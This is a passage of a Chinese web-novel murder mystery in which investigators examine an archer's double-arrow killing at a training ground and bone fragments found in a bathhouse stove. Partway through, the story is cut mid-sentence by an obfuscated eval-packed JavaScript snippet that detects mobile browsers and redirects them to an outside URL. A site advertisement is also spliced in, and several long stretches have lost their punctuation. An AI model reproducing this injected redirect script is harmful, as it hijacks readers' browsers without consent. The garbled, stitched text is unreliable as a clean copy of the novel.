葛宏曾任驻军参军,他知道裴晏在问什么,便道:“我们出北门时,北门还是锁着的,上来时我们便发现了不对,那青石板路被雨水冲刷的还算干净,可我们走到半路却发现石板路上有脚印,当时我们还说谁这么早去校场,不会是从正门绕了一圈罢。 葛宏说着看向胡修文几人,又道:“他们几个还说是不是有人不知道春试已取消,大早上去练拳去了,就这么说着到了校场之外,我们还没进门的时候,便发现门口的泥地上依旧有一人往内走的脚印,我心道果然有人来了,正想进门看看是谁在此,便一眼瞧见了血泊之中的袁焱…… 葛宏说得叹气练练,胡修文也在旁点头,在他身边,还有陶景华、贺炳志与另外两个面生的学子,四人也吓得面白如纸。 裴晏听得起疑,“只有一人进来的脚印? 大雨初歇,他们一行人赶来时校场外已有了数行脚印,但彼时裴晏主意到,离开校场的脚印只有一道,正是胡修文前去报信时 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袁焱倒地处,正在刚进木棚七八步之地,此处灰砖铺地,因顶棚并无漏雨,地上只有些潮湿,而校场木棚搭建的十分简陋,一面靠着外墙栅栏,其余三面则皆是敞开,此刻棚下除了高高低低的兵器架,还堆着大大小小的箱笼,部分箱笼架子用油布遮盖,另有用以武试的、形制不一的杂物胡乱地堆在地上…… 袁焱左侧三尺是七八个油布搭盖的箱笼,右侧五尺是一整排的兵器架,其上摆满了刀枪剑戟,在其左手边堆着两摞麻绳和几块儿老旧木板,右手边则是两套从看台上搬下来的旧黄花梨桌椅,距其双脚二尺之地,是一面搭着两大块儿油布的幕墙,眼下那幕墙之上,是明晃晃两支羽箭射出的破洞。 裴晏起身绕去油布墙后,便见其后先是处丈余见方的空地,空地四周放着数个兵器架,正北面乃是数个二尺见方的木架,用于摆放石锁、石锤,西侧的长木架上放着马鞍、马镫,,东侧长木架则是多把长弓、箭靶与盾牌,而那空地上,则堆着刚上过漆的,杂乱无章的木板木条。 很快方青晔和葛宏也绕了过来,葛宏道:“此处棚顶漏雨,油布是昨夜才搭上的,刚才我们也过来看了,我推测凶手一开始是躲在油布之后,袁焱来的时候以为只有自己一人,等走到了棚子里,凶手忽然放箭,袁焱逃无可逃被射杀。” 裴晏听着又去看油布后的砖地,便见地上已多有泥渍,葛宏道:“我看了,刚来的时候地上没有泥印,这些是我们踩的,凶手来的时候肯定还未下雨。” 姜离初初看完袁焱的尸首,这时也绕到后面,她道:“袁焱中的这两箭,力劲似乎一样,很像是凶手双箭齐发——” “确是双箭齐发,不仅双箭齐发,看其穿透头骨之力,凶手所用之弓多半在三石。”裴晏目光扫过兵器架上的数把重弓,又看向葛宏,问道:“书院之中,能做到拉三石弓并双箭齐发的有哪些人?” 葛宏闻言眼皮轻跳一下,露出一副欲言又止之相,方青晔这时面色微变道:“葛教头,我记得你的绝活便是双箭齐发……” 作者有话要说 三石弓按照明朝之后的说法,应该在两百斤左右~ 第 152 章 可疑肉香 葛宏苦涩道:“院监,这是我的绝活不错,可、可卯时前后我人在书院之中,怎么会出现在这里杀人呢?我和林先生住在隔壁的,当时下大雨,我和他都起来查看外头动静,他可以为我作证——” 见裴晏也盯着自己,葛宏又道:“书院中人人都知道我会这双箭齐发之技,我若是要害人,又怎么会故意用这法子?这不是分明的不打自招吗?并且,看这案发之地的布局,还有那油布上的孔洞,当时凶手定是躲在这油布之后,听到人来了,听声辨位射出两箭,我虽会双箭齐发,准头也不错,可若是隔着油布,我还真说不好准头如何,请裴大人明鉴,我与此事当真无关——” 葛宏言辞切切,方青晔道:“那除了你,你可还能想到旁人?” 葛宏沉声道:“还真想不出来了,开三石弓近两百斤之力,书院的学子们要么皆是年轻,要么多养尊处优,有此力之人一双手都能数得过来,这些人里头,能双箭齐发者几乎没有,更别说隔着油布杀人了——” 裴晏踏过兵器架之间的杂乱,问道:“凶手射杀袁焱的箭是书院之物?三石的重弓都放在何处?这些板材做何用?” 葛宏指着南面的兵器架,“没错,箭矢分了两批,皆是山杨木,一批用作日常练习,就放在东面那兵器架子上,那四只竹筐内的便是,应该有两三百支,都旧了,不少都已经折损。新的四百支是在西边箱笼内,还未取出来。弓也都放在那兵器架子上,书院配备了五种不同的弓形,每一种二十来把,竹筐内的都是,但三石弓只有十把,因能拉开的人有限,且比其他的弓贵,便也没有配备那么多。这些架子上挂着的弓,是我昨日一早来重新打油上弦过的,当时还未确定春试取消,我便按照惯例前来准备——” 葛宏走到跟前,指着架子上的几把长弓,道:“这三把四尺长的都是三石弓,其他三尺长的五把是二石弓,都是我昨天才调整过的,地上这些板材都是书院旧物,虽然好些年了,但都是好木头,此番重新上了油漆,本来是准备在观礼台上搭个遮阳棚的,但后来连着下了两天雨便说不搭了,昨天晚上我们来搭油布的时候板子在外侧堆了不少,怕泡水便往里头搬了一些,这才看着凌乱了些。” 葛宏说完,裴晏看向搭着三石弓的石锁木架。 三 石弓因过长,全被葛宏挂在了北面的石锁木架上,弓背搭着两根柱角,能避免上紧的弓弦松活,另几把二石弓,则挂在放箭矢的长木架上,皆是弓背搭着木架柱子,这些兵器架多年来不曾更换,其上遍布刀痕擦痕,显得斑驳老旧。 这时葛宏又道:“刚才我查看了几把弓,弓没有丢失,箭矢的话,看那杀人箭的箭羽箭身,定是凶手顺手从那竹筐之中取出来的旧箭,这几把三石弓之中,我试过后,发现只有这居中一把的弓弦略松,我怀疑凶手用的是这把弓杀人,他当时拿了这把弓躲在油布之后,杀完人之后,又将弓挂在了架上,不仔细看甚至难已发现他取用过。 裴晏取下居中石锁架上的长弓,仔细看后,又与旁边两把长弓对比,也觉葛宏推测不错。然而凶器虽可确定,但因这武库中遍布武器,即便确定了凶器,也难直指凶手,裴晏将弓箭递给九思,又往那装着箭矢的竹筐中看去。 姜离对武器并不熟悉,复又回袁焱身边仔细看其仰躺之地,库房除了武器架与箱笼,地上多有杂乱,而此时看来,落在袁焱脚边的不远处的断木吸引了姜离注意。 那断木是一截旧椅腿,此刻椅腿上缠了数圈麻绳,像是要用椅腿做横梁吊起什么,然而椅腿之上又横绑着一截弯曲木柴,因椅腿形制为一头大一头小,而木柴弯曲虬结,这一竖一横的模样,看起来莫名像个人形。 此物在满地的木材麻绳中并不显眼,此刻沾了不少泥渍,更显得像是某种小孩子玩意儿,但姜离还是上前捡起,问方青晔道:“方院监,您可知这是什么? 方青晔看的一愣,又把葛宏喊了过来,葛宏看完道:“此前有学子勾肩塌背,姿仪不良,我给他们绑制了纠其身姿的十字木架,在练石锁之时用,因绑木架的绳结特殊,他们有人找来木条自己练习,这应是他们自己绑的扔在了此处。 姜离心中了然,但再看一眼那木架,心底仍有几分古怪,可见葛宏和方青晔皆一脸寻常,她便将木架放下,再回去检查袁焱伤处。 这会儿一看当真发现了些许古怪,她唤道,“裴少卿—— 裴晏和宁珏都从油布之后绕出来,裴晏近前问,“怎么? 姜离指着袁焱面上,“你来看,这两支箭射入的角度是否古怪? 两支 箭正中眼窝但穿透头骨之处却是在袁焱后脑靠下之地裴晏道:“寻常射箭箭头的确会呈下坠之势但凶手若躲在油布之后那射程并不算长倘若按身量推算凶手的身高应该比袁焱高出半尺。” 宁珏也在旁道:“没错寻常人拉弓射箭高度应该在肩膀处箭头直逼眼窝且有下坠之势那说明凶手的箭头至少应该有袁焱的眼窝那般高那这个人很可能有近六尺高矮——” 袁焱身高五尺凶手只有比他高出一个头才能有这样的入射角度然而方青晔在旁道:“整个书院近六尺高的孩子应该一只手就数得过来……” 话音刚落众人目光一转看向胡修文在场的所有人之中胡修文的身量便有近六尺之高。 胡修文当即色变道:“院监裴大人我也有不在场人证我昨天晚上一整夜都没离开过学舍我们屋子里的人都可以为我作证!” 陶景华和贺炳志就站在旁边二人闻言立刻点头“不错我们可以给修文证明!” 裴晏扫过二人又道:“凶手不仅身量极高还能拉开三石长弓 葛宏立刻道:“这不可能书院里没有这样的人!” 宁珏这时眼珠儿一转道:“油布之后有不少木板凶手若站在那些木板之上射箭那是有可能射出这样的角度的只可惜凶手没有留下脚印难已判断他具体站在何处。” 裴晏又看向袁焱双脚方向“这双箭力道极大袁焱被射中之后多半会直直倒地葛教头你们来的时候他双脚处的泥渍是何种形状?” 这一问难住了葛宏“这我还真记不清了我们来的时候他就躺着当时我们都吓了一跳等胡修文去报信我们醒过神之后便齐齐上前来看他还有无救治希望当然我们也只探了鼻息颈脉又看了他眼窝处的伤口这么来来回回在他脚边走来走去都没注意地上有何印痕——” 要准确判断凶手站立的方位必要看袁焱被射中时站姿如何但他已仰躺下来且地上本就模糊不清的脚印也被后来者覆盖凶手所站之地便也难断。 裴晏默了默道:“无论如何凶手躲在油布之后需要拉开三石之弓乃是确定无疑去把墨盒 拿来——” 武课也需文字记录,不远处的矮柜之中便有笔墨,葛宏拿来墨盒,裴晏在地上画出袁焱躺倒的姿态,随即又命人寻木板将人抬起放在一旁。 人抬开,袁焱身下血迹与脚印都十分分明,裴晏仔细看后,更确定了袁焱是独自一人来此,待回到油布之后,满地的泥渍和混乱的木材杂物却令裴晏陷入了两难。 他走到那油布破洞处,顺着破洞朝外看,而后又回头看木棚下稀松平常之景,不多时,又沿着油布遮掩处往北面绕行一圈,然而看来看去,也只有满地的木板和杂物,仍想不明白凶手是如何隔着油布杀人。 方青晔几人也跟过来,“鹤臣,总不是什么江湖高手藏在山上吧?要不然怎么可能这么准呢?隔着油布射中身上都不易,更别说刚好射中双眼了。” 同样的疑问在众人心中徘徊,宁珏也道:“就算是江湖高手也难啊,内力高强之人也只能辨别油布之后人的气息,又不能辨其双眼!且这油布刚好遮盖了这一面。” 葛宏闻言苦涩道:“本来是想多盖一点儿的,但油布不知怎么少了半张,也只能这么一遮了,这头顶处有一处被修补过的漏雨点,二十八那夜没漏,二十九却漏了些,昨夜我是怕雨太大才来盖住,可昨夜又没漏雨,我也想不到反倒帮了凶手。” 方青晔唏嘘道:“凶手铁了心要杀人,就算没有油布,他也会想别的法子,就不要在这事上怪自己了。” 裴晏这时回身,目光如剑一般扫过木棚下一切杂乱,末了,他道:“如今唯一确定的,是袁焱的死亡时间,凶手要来校场杀人,而后在返回书院,那便不可能毫无踪迹,先把人抬回书院,九思,留下二人守在此处,任何人不得近前!” 九思听令应是,留下两个武卫之后,又命人将袁焱抬回,其他人也离开校场返回书院,想到书院之内还有武卫在灰堆之中刨碎骨,裴晏的神色更是凝重。 出了校场,宁珏微微松了口气,这时,他才轻咳一声看向姜离。 当着薛琦的面,他不好向姜离搭话,却又想引起姜离注意,连咳了三声之后,姜离终于看了过来,宁珏一喜,连忙朝她眨了眨眼。 姜离面不改色地点了点头,又凝眸看向来路。 宁珏有些怅然,耷拉着眉眼跟在裴晏身 后,裴晏自然注意到了他的小动作,但眼下事从紧急,他也懒得管宁珏这司马昭之心。 返回书院,袁焱的尸体被送回了大讲堂后堂之中,此处本是讲习观礼之所,如今已变成了大理寺断案之地,方青晔如今正愁无法向付家和袁家交代,一时也顾不上忌讳。 尸体刚停放一旁,林牧之来禀告道:“院监,消息已经禀告给山长了,他老人家听得悲痛不已,虽还稳得住,可待会儿还得请薛姑娘过去看看。” 姜离自然义不容辞,这时林牧之又道:“另外,灰堆之中刨出来颇多碎骨,还有一颗玉珠,付大人已认出,说就是付怀瑾之物。”- 再回到浴房外时,便见屋内灶膛下的灰堆已被清出大半,门内竹筐中,已有小半筐灰白碎骨,而付宗源捧着一颗烧至色变的玉珠,正满脸泪痕瘫坐在门口木椅之中。 “付侍郎,当真是付怀瑾之物?!” 方青晔问的急迫,付宗源哑着嗓子道:“这颗玉珠,乃是三年前在相国寺求来的,是相国寺无悔师父开过光的,这三年,怀瑾一直戴着从不离身,他从不离身的……我适才还不愿相信这是怀瑾,如今,如今……” 付宗源哽咽难言,只将玉珠捂在心口呜咽,但忽然他想起什么,紧张问道:“说在校场死的是袁焱,可当真是袁焱?!真是他?!” “是袁焱,他被人射中双眸而死。” 裴晏话音落下,付宗源眼瞳骤然瞪大,“射、射中双……” 他像是震惊,又像是惊恐,眼似铜铃一般呆了片刻,然而很快,他面色一正道:“那可知是谁杀了他?谋害他的和谋害怀瑾之人……是不是一个?!” 他喝问不断,连面皮都诡异抽动起来,随即深吸一口气,极力地令自己冷静下来,裴晏紧盯着他,道:“凶手射杀他,却没有在现场留下任何痕迹,他的死和付怀瑾之死一样疑点颇多,我们还需要些时间探查。” 想到付怀瑾,付宗源又悲痛起来,“怀瑾,若真是怀瑾,那他的尸骨怎么会……” 方青晔也在强迫自己定下神来,他目光往不远处一扫,喝问道:“龚闻,你过来说这是怎么回事,这浴房可是你在管,如今这灶膛之下出现了人骨,你如何解释?” 龚闻快步上前,苦着脸道:“院监,我不知道 啊按理明天晚上才开始烧火我这几日都没过来过他们要用灰的都是自己开门自己挖我真是什么都不知烧火那日也没出什么岔子啊……” 方青晔解释道:“书院的浴房是每隔四日开两日前一次是二十八晚上开始烧因这五口锅不小龚闻都是从前夜烧一夜第二日早上学生们便可来沐浴头一日多是学生和先生们因是人多第二日便还得继续开但都是晚上满灶炭第二天白日里少猛火二十九和三十开了两日下一次开得初三晚上烧便是明晚烧了初四沐浴。” 裴晏盯着黑洞洞的灶膛道:“这五口灶一次用多少炭?” 龚闻立刻道:“一次便得添上四五十斤炭烧一夜刚刚够第二日冷水一兑等洗好多人等白日来烧便有些来不及了两天拢共得用一百多斤炭。” 裴晏当即道:“普通的柴火烧不化人骨唯有炭火最盛的灶心能烧融按你们用炭之量那只能是在二十八和二十九的晚上置入尸骨方可烧碎这两天晚上是何人在此看守?” 龚闻看一眼方青晔缩着脖颈道:“半夜、半夜是没人守着的……第二日厨房还有活儿不可能整夜守着且烧水而已谁能想到会出这样的事呢?” 付宗源哽声道:“那便是说怀瑾是在二十八和二十九夜里死的?可……可这灶膛不大 “付怀瑾死前应该被分尸分尸之后凶手将尸块投入了灶膛之中大火焚烧本以为一夜两夜定能烧化可人骨之坚硬超出了他们的预计因此才会被花匠发现。” 裴晏话音落定又道:“付侍郎事到如今你可还是坚持三四年之前的事与如今的案子无关?” 付宗源眼皮轻跳一下“自然那些旧事与如今有甚关系?” 裴晏定定看他片刻“好付怀瑾是你之独子你若真想为他查明真相想来也不会故意隐瞒我们这里交给我们你想去德音楼休息罢。” 付宗源视线扫过那竹筐又似被刺痛一般迅速转开眼睛方青晔上前来“付大人节哀顺变事情发生在书院无论如何我们都会给你一个交代眼下让鹤臣他们找线索你先跟我回去缓缓在此也是触景伤情。” 薛琦几人在不远处看着到底是同朝为官此刻也上 前来劝慰付宗源摸了摸眼角 他一走裴晏问龚闻道:“那两夜浴房之门大开是任何人都可以进来?” 龚闻不住点头“是都可以进来平日里我家老婆子也常常帮忙添柴火其他人有时候也顺手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151207|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮帮忙这前堂又没有贵重之物从来是不锁门的。” 裴晏在书院进学过自然也知道这些杂工的习惯姜离在旁听着目光却落在那些悬挂着的腊肉之上不知想到什么她忽然道:“这些腊肉是在何处买的?” 龚闻回头一看“就在山下那些农户家里买的。” “何时挂上去的?最晚的腊肉熏了多久?” “年前就挂了最后一批我记得是在初三送来的山长是好人为了接济山下的百姓肥的瘦的都买最后来的都已经熏了两个多月了……” 裴晏闻言不解地看向姜离便见姜离目光几变忽然道:“去把孔昱升请来——” 裴晏虽不知为何找孔昱升却还是立刻吩咐下去眼下书院内又出了事端虽不许学子胡乱走动但没有人能安心进学因此孔昱升来得及快。 一见着孔昱升姜离便问:“孔公子我记得昨日你在用午膳之时说过说前几日的清晨你进浴房之时闻到屋子里腊肉的香味极重你可还记得?” 孔昱升满腹惊疑好奇而来却不想姜离一开口问的竟是腊肉之事他愣了愣道:“对啊就是二十九那天早上我们这里沐浴得赶早早上那拨水最热我当日到的时候他们都还没起来我把门一推便闻到了一股子极浓郁的肉香。” “是什么样的肉香?你可能仔细形容形容?”姜离又问。 形容肉香实在有辱斯文孔昱升颇有些尴尬但见众人都看着自己只将神色一肃道:“就是……腊肉的香味他们把腊肉挂在此地本就很香那一日也不知是挂了新的还是如何有种腊肉离烟囱太近肉被烟火气熏熟了的肉油香味……” 此言一出一旁的裴晏和宁珏面色都是一变姜离看向裴晏二人四目相对都意识到了不对。 孔昱升从来一副文人做派形容肉香本就怪异此时见众人神色有异更觉身上如百蚁再爬一般难受“怎、怎么了?有什么不对吗?真的很 香当时不止我还有李忠旭他们几个也闻到了不过门开了那味道一会儿就散出去了。” 裴晏目光扫过灶台又问:“三十那日早间是哪些人最早来可有人闻到异味?” 孔昱升立刻道:“我知道是虞梓谦他们几个但他们没提起过。” 龚闻这时也道:“大人三十早上小人起来得早是小人先开的门没闻到什么怪味儿。” 龚闻此言似乎佐证了什么裴晏和姜离的目光皆冷了下来孔昱升看的百爪挠心“不是大人姑娘到底怎么了?在下就是馋了些那味道到底——” 见他一脸纠结之色姜离开口道:“若没猜错的话你闻到的不是腊肉香味儿而是付怀瑾尸骨被焚烧的残留异味儿。” 孔昱升倒吸一口凉气“付怀瑾尸……呕……”- 如此兵荒马乱的一闹书院上下皆无心用早膳裴晏几人也只稍垫了一点儿汤饼便兵分两路姜离在浴房外查验骸骨裴晏则去袁焱房中搜查。 所有灰堆清理完已近巳时巳时二刻姜离来到袁焱房门口道:“碎骨加起来有百多块据龚闻说他加炭火之时已发现有未烧尽之物他还以为是泥炭用火钳用力捣过因此完整的骨骼实在不多。但从几块破碎颅骨来看死者是男子无疑再加上那颗玉珠死者身份应是付怀瑾但要验的更详细比如验出年纪身量只能等宋仵作来。” 清理出来的尸骨十分细碎虽说如今书院失踪的只有付怀瑾一人但仅凭一颗玉珠可信度还不足够此刻姜离细细查验一番又得出死者为男子的结论 小说全网首发无弹窗免费阅读qiexs?(请来企鹅 小说 看最新章节 完整章节)如此方使得死者身份更可信了些。 袁焱房中已经被细细搜查了一遍裴晏近前道:“宋亦安虽能细验但如今尸骨已被煅烧过他来也同样艰难眼下基本能确定付怀瑾已殒命且死后被分尸焚烧再加上孔昱升所言我们有理由怀疑付怀瑾在二十八夜里就已经遇害但致其死亡的凶器和第一案发现场在何处仍难断仅凭付怀瑾屋内的血迹来看不似分尸之所。” 姜离也道:“没错若就地分尸地上不可能只有那么一点儿血迹凶手必定在二十八晚上就把付怀瑾带出了学舍但未熄灯导致旁人以为二十九晚上他还在学舍之中而那夜里的笔架倒地之声多半 也是凶手用了什么办法。” 她说完也陷入了沉思宁珏看看姜离再看看裴晏无奈道:“本来以为来了只是帮着找人但万万没想到这里竟生了连环凶案连死两人不说还是一对好兄弟!如今还不确定他们两个之死是否有关系呢。” 裴晏看着袁焱屋内的书案道:“我也在想此事本来不甚确定但适才付宗源之状让我怀疑他们二人之死定有关联且付宗源知道些什么。” 宁珏道:“我听十安说了付怀瑾的学舍刚才又去隔壁看了看按我所想我怀疑付怀瑾先是被可信之人袭击袭击之后被带出了屋子那密室只是凶手的障眼法然后凶手在别的地方分尸又趁着下大雨出门把尸块扔进了灶膛之中——” 如此血腥可怖宁珏说着自己都打了个寒战“可不论在何处分尸都极易留下血迹动静也会不小凶手分尸一定是在哪个犄角旮旯之地。” 微微一顿他又道:“至于袁焱之死凶手一定是在昨夜下雨之前翻出了书院去校场藏着因此才没留下足迹杀了人之后他多半是从山林之中返回。” 话音刚落十安自外而来道:“公子我们带人沿着东西两方向往校场搜了一遍林子里没有发现任何脚印。” 宁珏刚说完话便被否定急忙又道:“那此人一定是出去的很早回来也是在雨停之前回来的雨水把他的脚印冲没了!” 十安看一眼宁珏定声道:“若是雨停之前回来那便和袁焱的死亡时间对不上了。” 宁珏脸皱成一团实在想不通期间道理末了只得气馁道:“那真是怪了葛教头他们发现尸体的时候 两桩命案皆是迷局难破姜离也觉脑海中一片纷杂这时她问道:“袁焱这屋子里没发现什么古怪之地?” 裴晏沉声道:“只有一处不确定是否为疑点的疑点——” 他说着目光落在袁焱书案一角的砚台之中姜离定睛一看便见袁焱的砚台里墨迹早已变干而此刻的砚台里竟有一小片纸张焚烧后的灰烬。 姜离蹙眉走近先扫了一眼书案底下见书案之下有个装满废纸的竹筐便道:“这里分明有废纸篓什么东西看完之后一定要烧掉?” 裴晏道:“或许这就是他偷偷去校场的理由。” 话音落下九思从外头快步而来“公子我们刚问了门夫两处门夫说昨夜子时锁门之前和之后都没有人再出去过——” 他急急喘了口气又道:“但我们在君子湖东面院墙处发现了两处可疑脚印怀疑是有人翻出院墙时留下!” 裴晏立刻道:“去看看——” 作者有话要说 我来啦~这几天零点更新昂 另外本章24小时评论有红包吼~ 第 153 章 障眼之法 君子湖东侧院墙六尺来高,院墙外是立于幽竹丛中的碑林,碑林内青砖铺地,其主道与北门通往青云崖的石阶相连,若从此翻出,正可悄无声息去往青云崖。 九思说的足迹,乃是在君子湖东侧回廊与院墙之间的一处太湖石假山之上。 假山之上植矮松翠竹,初春时节苍翠欲滴,九思指着太湖石上泥渍道:“就在这里,若有人踩着太湖石爬上顶端,距离院墙便只有二尺之距,身手稍微利落些的便可轻易翻过院墙,院墙之外是碑林靠墙的花圃,我们的人出去看了,花圃之中也有脚印。” 宁珏忙问:“有几人脚印?” 九思道:“只有一人脚印,从碑林去往主道也是一样,那脚印虽有些模糊,但我们对比过,是袁焱的无疑,他应是在卯时之后,于此处翻出书院去往校场。” 姜离与裴晏仔细看着太湖石上泥痕,宁珏忍不住道:“那就奇怪了,这院墙檐顶宽,且内里挨着回廊,没点儿功夫还真不好出去,袁焱出书院的行踪找到了,那凶手呢?凶手在校场中杀了人,如何回来的?” 九思也纳闷道:“北门的门夫说,清晨是葛教头去开的门锁,当时几个学子也跟着葛教头,他绝不会看错,他们出去没多久,胡修文便惊慌跑了回来,在此之间没有第二人返回,正门那边我们也去问了,西门一直锁着,也无进人可能。” 宁珏拧起眉头,“总不是这山里真有武林高手吧!” 姜离与裴晏皆未答话,这时十安从前院快步而来道:“公子,初步问了一遍证供,卯时前后,除了几个单独住的,其他人都有不在场人证。但卯时二刻,学舍上下都开始起身,独住的几人都是从自己屋内出来,我们粗略搜了一圈,没发现谁的屋子里有湿衣裳,在德音楼和听泉轩那边,听泉轩并无异常,唯独德音楼中,昨夜下大雨时,林先生和葛教头,还有位教经史的徐先生,他们三人出来巡查了一遍,因是巡查区域不同,前后有一炷香的功夫没有人证,且他们三人都有被雨水打湿的衣物和沾泥的布靴。” 姜离摇头道:“一炷香的功夫,若身手利落之人,倒可以轻松一个来回,但那时袁焱还没有去校场,与死亡时间对不上。” 袁焱的行踪暂可确定,凶手来去之法却仍难解。 裴晏利落道:“ 眼下两件案子或有关联,但作案手法并不同,为今之计,谋害袁焱的条件更严苛,先从易入手处查,能开弓之人都传了?” 十安道:“开三石弓之人只有五人,葛教头带着他们在大讲堂等着,至于隔着油布双箭齐发之术,葛教头说书院中无人能做到,但不排除有人故意伪装。” 裴晏颔首,“先一个个问。” 物证不多便只能从人证入手,无论如何,袁焱被三石弓杀死是无疑,一行人快步回到大讲堂,便见在武卫看守之下,葛宏面色沉重,身后几人也一脸惊惶,几名学子之中,贺炳志与虞梓谦赫然在列。 而那把疑似凶器的三石弓就放在堂内,裴晏入堂之后,先请几人开弓。 葛宏轻松拉开了弓,其余五人颤颤巍巍的,也几乎能拉开弓弦。 裴氏目光锐利看向几人,“你们昨日可单独见过袁焱?” 几人互视一眼,贺炳志先摇头道:“自然没有的,我们午间在此见过大人,离开讲堂之后,我们一直在学舍中没出门,更不会单独见袁焱,他先有些不适,后来去林先生那里看过,之后开了药,我们在讲堂散去之后,他自己回了学舍,也没怎么出来,我们只在昨天傍晚用晚膳时撞见了他一面,他当时在厨房里熬药。” 贺炳志说完,又笃定道:“不敢哄骗大人,当时我们四人走在一路的,还遇见了薛湛和虞梓谦,梓谦可以帮我们作证,我们也可以互相作证。” 虞梓谦在旁道:“不错,当时还有好几人呢,我们从膳堂出来,他则站在厨房门口等汤药,哦对了,林先生那时也在……” “林牧之?他为何也在?” 虞梓谦道:“林先生开的方子,可能那药熬的时候有什么说法吧。” 裴晏点了点头,目光又落在另外三人身上,这三人之中,有两人早间跟着葛宏去过校场,一人名叫张起铭,一人名叫何庆杰,二人皆是身量高挺,看着便给人威武之感,还有一人名叫宋明熙,虽看着身量清瘦,其貌不扬,臂力却极佳。 三人因是与人合住,卯时前后皆有人证,昨夜也不曾单独见过袁焱,裴晏扫过几人道:“今晨何以是他们几个跟着你去校场?” 葛宏闻言涩然道:“我是麻州人,与陶景华是老乡,他们四个今岁新来,我也对他们多 有照顾,书院的学子多为了功名而来,没有几人武课认真的,他们几个却不会重文轻武,一来二去,校场有什么忙我也会请他们相助,何况……” 葛宏欲言又止一瞬,到底没再说下去,但想也知道,那些略有些辛苦的杂活,若唤那些达官贵胄的世家公子相助,只怕也是喊不动的。 裴晏沉默片刻,再问:“除了他们五个,没有其他人能开三石弓?” 葛宏重重点头,“真的没有了,我朝驻军的规矩是能开一石弓方可从军,二石弓便为军中勇武者,三石弓除了天赋异禀,更需勤加练习,要么若梓谦这般,府上历代掌兵的自小习武,要么便是有从武举之心的,他们几个便有此心,若一心从文,没几个能吃苦勤练的,何况他们都是年轻人,在书院这么久,能开三石弓的怎可能忍住不露一手?” 葛宏说完,宁珏在旁道:“是这个道理,能开三石弓的在军中也不多。” 裴晏点头,又问道:“昨夜你们巡查之时可曾发现不妥?” 葛宏回忆道:“也没什么不妥,就是院监不放心,一早就交代下来了,我是武教头,自然上心些,林先生和徐先生,一个得老先生看重,一个在书院多年,他二人辅助院监管理书院大小事务,自然也不敢轻慢,我起来的时候,林先生便已经打着伞在听泉轩外绕了一圈了,此番贵客都住在听泉轩,见听泉轩无事,我们才去其他地方巡查。” 裴晏又问:“你们是如何分工的?” 葛宏道:“我脚程快,负责正门、学斋和车马房那一带,徐先生负责西北方向的藏书楼、得真楼和文昌祠那一片,林先生则负责学舍和听泉轩,哦,还有君子湖。” 裴晏这时道:“君子湖东侧的太湖石假山,从前可有人从那里出书院?” 葛宏眸子一瞪,“又有人从那里出去了?” 见几人面带疑色,他无奈道:“那太湖石造景本是花了不少功夫叠出来的,可后来他们发现从那里攀上便可出书院,此前还真有人干过偷跑出去的事,就在去岁,两个孩子来书院不久,因嫌书院辛苦,竟在大清早偷溜下了山,我们上下找了半晌,才在那发现踪迹,后来那二人被山长除名,如今倒也没人敢效仿了。” 此话落定,他犹豫道:“怎么?是谁跑出去了?是凶手?” 裴晏自不会回答,他道:“你先把他们带回去,如今书院内两桩命案,你们最好都在学舍内莫要乱走,免得再出岔子。” 葛宏松了口气,立刻带着虞梓谦几人退了出去。 他们刚走,外头方青晔快步而来,“鹤臣,叔父要见你——” 事发这一早上,裴晏还未亲自向方伯樘回禀过,此刻站起身来,对姜离道:“正好你与我同去,给老师再看看。” 姜离也正有此意,宁珏见状忙道:“那我也拜见老先生去!”- 到文华阁时,江楚城和薛琦等人也在堂中。 宁珏头次见方伯樘,自报家门之后规规矩矩行礼,倒是像模像样,姜离近前为方伯樘请脉,方伯樘面色苍白地问起眼下境况。 裴晏沉声道:“眼下两件案子或有关联,但关联为何还需查证,如今付怀瑾之死的疑难之处在于尸骨为何出现在灶膛之中,凶手袭击付怀瑾之后,是如何悄无声息离开付怀瑾的屋子,又是在何处分尸,是如何掩人耳目,眼下皆未可知。” “至于袁焱,昨日应有人给他传了消息,让他今日卯时二刻前往校场,他真去了,去之后尚未防备便被射杀,但我们在校场没有找到凶手踪迹,这是难点之一,此外,射杀袁焱的弓箭乃是一把三石弓,书院之中能开三石弓之人仅有六人,我们适才一一问过,每个人都有不在场证明,如今若能找出昨日是何人给袁焱传信,或许能尽快破案。” 方伯樘听着裴晏所言,又不住轻咳起来,方青晔劝慰道:“叔父,事已至此,一切交给鹤臣,你就不要管了,你尚在病中,早知道我不应该告诉你。” 方伯樘直摆手,“怎能隐瞒?他们家里把孩子好好送到我门下,如今却出了这样的事,我是要负荆请罪的,付侍郎如何了?” 方青晔叹道:“付侍郎悲痛过度,适才在德音楼面色极差,我已经让林先生去看看了,给袁家送信的人也派出去了,天黑之前便能送到。” 方伯樘喘了几口粗气,又道:“那明日、明日袁家便该来人了,这么多年了,书院再没出过岔子,这短短三日两个孩子没了性命,我真是愧对他们信任。” 薛琦闻言劝道:“与老先生何干?这事也是怪,偏偏这两个孩子亲近,偏偏两个孩子先后出事,这幕后之 人只怕就是冲着他们二人来的……” 方伯樘摇头道:“袁焱昨日想回长安的,早知如此,就应该让他回去。” 江楚城这时轻嘶一声,“咦,那孩子想回长安,莫不是意识到有什么危险?裴世子说他得了什么消息,今早上自己跑去了校场,那也奇怪了,若他觉得很危险,怎么还自己一个人去校场呢?就留在书院之中不是什么事都没有?” 一旁柳明程闻言道:“确是怪异,能天还没亮便偷偷出去,那一定是有非去不可得理由,付侍郎没说什么?我看他昨日还专门和袁焱说了话呢。” 裴晏眉间微动,“昨日?昨日何时?” 柳明程面露尴尬,“就在昨天下午申时之后吧,付侍郎不是看了书院上下名册吗?后来便把袁焱叫去说话,当时我想着,应是问袁焱哪些人和付怀瑾有过不快。” 裴晏沉吟片刻,“昨夜付侍郎何时歇下,可曾出门?” 柳明程看向薛琦几人,“这个……我们都是亥时初便歇下,至于他有没有出去我便不知道了,后半夜下大雨,外头似乎有些动静,但我也未起来看过。” 